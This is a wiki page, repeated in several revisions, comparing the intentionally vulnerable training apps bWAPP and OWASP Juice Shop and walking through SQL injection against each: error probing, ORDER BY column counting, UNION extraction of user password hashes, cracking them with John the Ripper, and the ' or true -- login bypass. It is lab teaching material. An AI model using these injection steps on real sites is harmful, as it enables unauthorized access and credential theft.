CEberhart: /* Vulnerable Webservices */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Penetrating Testing ==

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

== SQL Injection Vulnerability ==

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

== Vulnerable Webservices ==
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it's like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:
*[[bWAPP]] (buggy web application)
*[[DVWA]](damn vulnerable web app)
*[[OWASP_Juice_Shop]]

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 
== OWASP Juice Shop Challenge ==
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T17:53:49Z

CEberhart: /* Vulnerable Webservices */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Penetrating Testing ==

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

== SQL Injection Vulnerability ==

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

== Vulnerable Webservices ==
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it's like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:
*buggy web application (bWAPP)[[bWAPP]]
*damn vulnerable web application (DVWA)[[DVWA]]
*OWASP Juice Shop[[OWASP_Juice_Shop]]

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 
== OWASP Juice Shop Challenge ==
At OWASP Juice Shop there is a separate website where the Challenges are listed. You have to search for the possibility of executing these Challenges. If a Challenge was successful, a notification will appear on the screen.

[[File:JuiceShopPlattform.PNG|500px]]

=== STEP 1: Try to login as Admin with simple SQL-statements===

The following command is used to attempt to log in as Admin: ''' 'or true - -'''. Within a short period of time it was possible to log in as Admin using this SQL command and a randomly chosen password. '''True''' as an SQL command means that this result is always true. The double hyphen after it means that all characters after true are comments. In this case the Login worked uncomplicated and fast.

[[File: juice4.PNG|250px]]

Successful login: Register as a user with administrator priviliges. If a challenge is successfully solved, this will be shown on the screen.

[[File: juice3.PNG|500px]]

=== STEP 2: Change user data===

After the successful login it is possible to change user data like account name and a picture. It is also possible to make further changes and, for example, fill the shopping cart.

[[File:UserDaten.PNG|300px]]

== Conclusion ==

Tools like bWAPP and OWASP Juice Shop are very helpful and interesting for anyone interested in trying out various hacking tasks with different levels of difficulty in a playful manner. With the unstoppable development of technology and today's abundance of information it becomes more important to be well informed about the dangers that come with the World Wide Web. An SQL injection example (GET / Search) shows that passwords of any user can be cracked in a short time. The two insecure web services bWAPP and OWASP Juice Shop were introduced and compared in terms of installation, architecture and application. Due to the different levels of difficulty in the challenges and additional challenges on special events, users are able to further develop their skills.
Further information on this article can be found in my paper: [[seminar paper]]

== References ==
[https://www.owasp.org Open Web Application Security Project (OWASP)]

[https://www.mmebvba.com/sites/default MME Security Audits & Training]

[https://www2.owasp.org/www-project-juice-shop OWASP Juice Shop Project]

[https://www.netsparker.com/blog/websecurity/sql-injection-vulnerability SQL-Injection Vulnerability]

[[Category:Documentation]]

Unsecure Webservices: bWAPP vs. JuiceShop

2020-12-21T17:49:25Z

CEberhart: /* Vulnerable Webservices */

[[File:JuicebWAPP.png|1000px]]
== Introduction ==

The number of users of online services has increased significantly in the last years. As a result, the relevance of security in the web is also increasing rapidly, because every organization and private person prefers that their data securely tranported and stored in the web. Moreover, Even though we are living in 2020, web application security is the most overlooked aspect of a business. Therefore, hackers' efforts are more focused on websites and the associated applications. To understand why web apps are a popular target of many cyber criminals a few important points are listed here.
*The application can be accessed 24/7 via the Internet
*Have sensitive data and often have direct access to backend data
*Conventional firewalls do not have adequate protection
*The applications are tailored and therefore very fragile

Nowadays web applications represent a fundamental part in information technologies. Therefore the danger of attacks on the internet is growing and make so-called penetration tests necessary. A penetration test comprises a series of activities which record and identify security gaps. In the attached seminar paper, two intentionally insecure web services are compared with each other. The focus of the practical part includes the testing of the world's most frequently used SQL-injection Attack. In this case, attackers take advantage of specific weaknesses in order to gain access to confidential information. A variation of this SQL injection attack is described.
But there are much more weak points in the web, the main vulnerabilities concerning the web are the OWASP Top Ten:
*Injection
*Broken Authentication & Session Management
*Sensitive Data Exposure
*XML External Entities (XXE)
*Broken Access Control
*Security Misconfiguration
*Cross Site Scripting (XSS)
*Insecure Deserialization
*Using Components with Known Vulnerabilities
*Insufficient Logging & Monitoring

Most software errors are the result of inappropriate input validation. This leads to an attack targeting confidential information more frequently. SQL injection attacks are very popular because they are executed using simple scripts. Identifying SQL-injection vulnerabilities is often not that easy.Even though the majority of security gaps on the web are performed directly and from a strategic distance, many web designers are surprisingly not security conscious. Testing vulnerabilities for web applications is one way to deal with such problems. Tools like bWAPP and OWASP Juice Shop offer users a fun way to uncover these vulnerabilities.

== Penetrating Testing ==

Penetrating testing is a targeted, permitted attempt to penetrate an IT system. The main objective is to detect and eliminate vulnerabilities in order to improve IT security. Vulnerabilities should be identified before they arise. Methods such as SQL injection, XML External Entities (XEE) and Cross-Site scripting (XSS) are very popular by hackers. For web applications, the Open Web Application Security Project (OWASP) offers materials for pentests.

== SQL Injection Vulnerability ==

With the growing popularity of the World Wide Web, there was an increasing use for advanced technology and dynamic websites.

SQL injection vulnerability is one of the greatest dangers to confidentiality and integrity in Web applications and thus has been included in the OWASP Top 10 list of the most common vulnerabilities since its introduction. For example, attackers can insert malware into an SQL statement through an SQL injection vulnerability. The practical part of this thesis deals with the SQL injection attack.
Attackers gain the ability to perform a series of actions if an SQL injection is applied to a vulnerable page. By exploiting this vulnerability, database contents can be added, edited, deleted or read.

== Vulnerable Webservices ==
These are web services that were intentionally implemented insecure, so that there are extremely vulnerable. Thus, security enthusiast such as developers, students or teachers can use it to discover and simulate various vulnerabilities in the web. This ensures that users are better at dealing with a wide variety of vulnerabilities, such as the OWASP Top 10 and many other weaknesses in the web. Moreover, it's like a workout to improve ethical hacking skills. In addition, it is possible to minimize the dangers, because you know what to pay attention
Three services are presented in detail referring to their architecture, installation, as well as a practical example with SQL Injection:
*buggy web application (bWAPP) https://wiki.elvis.science/index.php?title=OWASP_Juice_Shop
*damn vulnerable web application (DVWA)
*OWASP Juice Shop

=== bWAPP ===
The term bWAPP stands for buggy Web Applications. bWAPP belongs to the ITSEC-Games-Project and describes a deliberately extremely faulty web application. It was designed with the goal of ensuring IT security. Furthermore, it has a gaming character and should serve as a funny training enviroment.

=== OWASP Juice Shop ===
At first glance, the OWASP Juice Shop looks like an inconspicuous online shop for fruit juices. The Juice Shop was designed in 2014 and is a so-called 'online juice shop' for safety training. Two years after its foundation, Juice Shop was submitted and accepted as an OWASP tool project. This step made the Juice Shop accessible to a large community of users within a short period of time.

==Comparison and architecture of bWAPP and OWASP Juice Shop==

'''OWASP Juice Shop''' is a pure web application, which is implemented in JavaScript and TypeScript. In the frontend, Angular Framework is used to create a Single Page Application. The layout of the user interface is the implementation of Google's material design using Angular Material Components. In order to achieve responsiveness, the Angular Flex layout is used. All symbols which were used are from the Font Awesome library. Javascript is also used as a programming language in the backend. An Express Application is hosted on a Node.js server and provides the client-side code to the browser. The client is also provided with the required backend functionality via a RESTful API. SQLite was selected as the database. Sequelize and Finale-Rest are used as abstraction levels from the database. A MarsDB is part of the OWASP Juice Shops as additional data storage. It is a JavaScript derivative of the popular MongoDB NoSQL database and compatible with most query and change operations. Push notifications that appear when a challenge is successfully hacked are implemented via a WebSocket Protocol. The application also offers users a comfortable way of registration via OAuth 2.0. This give users the possibility to sign in using their Google accounts.

[[File:ArchitekturOWASP.PNG|700px]]

----

'''bWAPP''' is an open source PHP application that uses a MySQL database. It can be hosted on Linux or Windows with Apache or IIS and MySQL. To install bWAPP
there is a possibility to use a local webserver like WAMP or XAMPP. Another possibility is the download of bee-box, a bWAPP preinstalled virtual machine.

To download virtualbox, use the following link:

[https://sourceforge.net/projects/bwapp/files/bWAPP Install bWAPP]

On the following page there is a step-by-step instructions for installing virtualbox:

[https://wiki.elvis.science/index.php?title=VirtualBox:_How_to_Setup_your_Malware_Analysis Step-by-Step guideline: how to install virtualbox]

To install beebox you can use the following link:

[https://sourceforge.net/projects/bwapp/files/bee-box Install bee-box]

[[File:VirtualBox.PNG|400px]]
[[File:BWAPP1Start.PNG|400px]]

== Practical demonstration Step-by-Step guideline==
For the practical demonstrations SQL injection is chosen. This hacking method will be tested on both insecure web applications to get a clear comparison. SQL-Injection is one of the most common methods on the top 10 list of OWASP and therefore it is considered as a very serious threat.

== bWAPP Challenge ==
=== STEP 1: Select a challenge===

The challenge is selected first. Afterwards, the user is redirected to the next web page to be able to execute the challenge.

[[File:bWAPPs.PNG|500px]]
[[File:BWAPP_HackMöglichkeiten.PNG|250px]]

In order to be able to select a challenge, there is a registration requirement. However, users have the possibility to register with any data they wish. Afterwards, an SQL injection task can be selected from various 'bugs'. For the selected (GET/SEARCH) SQL-Injection, information about available movies is displayed in a table when entering a movie title. Here you can search for one or more movies. As a result of the search, the movie details are displayed. If the input button is clicked without entering a search term, all movies are displayed. The set goal is to get a user password.

[[File:1nebenan.png|500px]]
[[File:2nebenan.png|500px]]

=== STEP 2: Try out some SQL-Statements===

If you enter a search term such as 'iron', for example, all data will be displayed as can bee seen in the picture below. In this challenge, bWAPP is asking us to search the database for our favorite movie which contains the word 'iron' and the search field gives the result 'iron man'. In this case there is a high probability that this query contains some columns. The select-command is something like "Select column1, column2, column3, column4 from table where movie LIKE '%". $userinput."%'"

[[File:Bild1EingabeIron.PNG|500px]]

If the form is vulnerable, introducing a single ''' 1 ''' should throw a SQL error because "Select column1, column2, column3, column4 from table where movie LIKE "'" is not a valid query. As a result, you can see that the URL parameter '''1'''' is definitely vulnerable to an SQL injection:

[[File:Bild2SQLSyntaxFehler.PNG|500px]]

After recognizing a syntax error the URL is edited; action=search is deleted and replaced by order by '''1 -- -'''.

[[File:Bild3URLTeilDelete.PNG|500px]]

[[File:Bild4neueURL.PNG|500px]]

The output shows that the URL parameters are definitely vulnerable to SQL injections.

[[File:Bild5ErgebnisURL1.PNG|500px]]

=== STEP 3: Trying to find out the number of columns===

To find the answer we can use an 'ORDER BY' clause inside our query : ' order by 6 -- -
The query sent to the database will look like : "Select column1, column2, column3, column4, column5, column6, from table where movie LIKE '%' order by 6 -- -%' . If the columns exists, the result will be ordered by the 6th column. Otherwise a SQL error will be thrown.

We can try the numbers until a so-called out of table message is displayed. This is done by increasing a number by 1 until an error message appears. As no error is thrown we know the query contains at least 7 columns. So we can try with 8 columns. By entering the 8th column there is an error message. Now we know the query contains 7 columns.

[[File:Bild6URL.PNG|500px]]

[[File:Bild7.PNG|500px]]

The attempt to display confidential information begins with an SQL Union statement. With this statement it is possible to merge database tables. First, it must be ensured that the same number of columns is used as in the original SQL statement. Then it is possible to perform some malicious queries.

[[File:Bild8URL.PNG|500px]]

The result shows that column 5 corresponds to one character.

[[File:Bild9ErgebnisURL.PNG|500px]]

=== STEP 4: Get the password===

Again, the URL is changed to access the desired password. Now it is possible to play with the field order and visualize the current database character:

[[File:Bild10URL.PNG|500px]]

The result ejects the character bWAPP. Now it is only a few steps to the hashed password.

[[File:Bild11ErgebnisURL.PNG|500px]]

In the following step the contents of the columns-output is 'User'. Now we have all we need to retrieve all users secrets. The column names login, password, email and secret looks interesting.

[[File:Bild20URL.PNG|800px]]

[[File:Bild21Ergebnis.PNG|1000px]]

The goal is to get the password. Therefore the URL is changed so the login and password of the user are displayed. The result gives some interesting values. The database is exploited by retrieving confidential data. The value of the password is stored in a hash state and cannot yet be retrieved. There is one last query to get the hashed password from bwapp.

[[File:Bild22URL.PNG|800px]]

[[File:Bild23PWErgebnis.PNG|1000px]]

=== STEP 5: Cracking the hashed password with John the Ripper===
To crack the hashed password, the next step is to use a password cracker software such as John the Ripper. John the Ripper is a popular open source password cracking software. A number of password crackers are combined in one package. Password hash types are detected automatically the password's output in clear text.

[[File:Challenge1.9bWAPP.png|700px]]
 
----
 
== OWASP Juice Shop Challenge ==
